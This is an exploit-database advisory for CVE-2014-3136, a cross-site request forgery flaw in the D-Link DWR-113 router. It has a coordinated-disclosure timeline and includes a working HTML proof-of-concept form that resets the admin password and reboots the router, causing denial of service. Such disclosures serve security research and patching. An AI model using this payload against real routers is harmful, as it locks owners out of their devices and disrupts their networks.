doshardwaretext

D-Link DWR-113 Rev. Ax - Cross-Site Request Forgery / Denial of Service

Publié le 2014-07-30

Code source

Épinglé au commit 7eac4c3a2ce5

textplatforms/hardware/dos/34203.txt7eac4c3a

Exploit Title:  Dlink DWR-113 Rev. Ax - CSRF causing Denial of Service

Google dork : N/A

Exploit Author: Blessen Thomas

Date : 29/07/14

Vendor Homepage : http://www.dlink.com/

Software Link : N/A

Firmware version: v2.02 2013-03-13

Tested on : Windows 7

CVE : CVE-2014-3136

Type of Application :  Web application

Release mode : Coordinated disclosure







Vulnerability description:







It was observed that the D-link DWR-113 wireless router is vulnerable to

denial of service attack via CSRF(Cross-Site Request Forgery) vulnerability.







An attacker could craft a malicious CSRF exploit to change the password in

the password functionality when the user(admin) is logged in to the

application ,as the user interface (admin panel) lacks the csrf token or

nonce to prevent an attacker to change the password.







As a result, as soon as the crafted malicious exploit is executed the

router is rebooted and the user could not login thus forcing to reset the

router’s device physically ,leading to a denial of service condition.







POC code (exploit) :







*Restart Router by CSRF*







<html>



  <!-- CSRF PoC --->



  <body>



    <form action="http://192.168.0.1/rebo.htm">



      <input type="hidden" name="S00010002" value="test" />



      <input type="hidden" name="np2" value="test" />



      <input type="hidden" name="N00150004" value="0" />



      <input type="hidden" name="N00150001" value="" />



      <input type="hidden" name="N00150003" value="1080" />



      <input type="hidden" name="_cce" value="0x80150002" />



      <input type="hidden" name="_sce" value="%Ssc" />



      <input type="submit" value="Submit request" />



    </form>



  </body>



</html>











Tools used :



Mozilla firefox browser v28.0 , Burp proxy free edition v1.5







Timeline :







06-04-14 : Contacted Vendor with details of Vulnerability and Exploit.







06-04-14 : Vendor D-Link forwards to R&D team for review







29-04-14 : Vendor contacted to know the status.







01-05-14 : Vendor acknowledged and released a patch







01-05-14 : CVE ID provided by Mitre team.







http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10034

Voir sur GitHub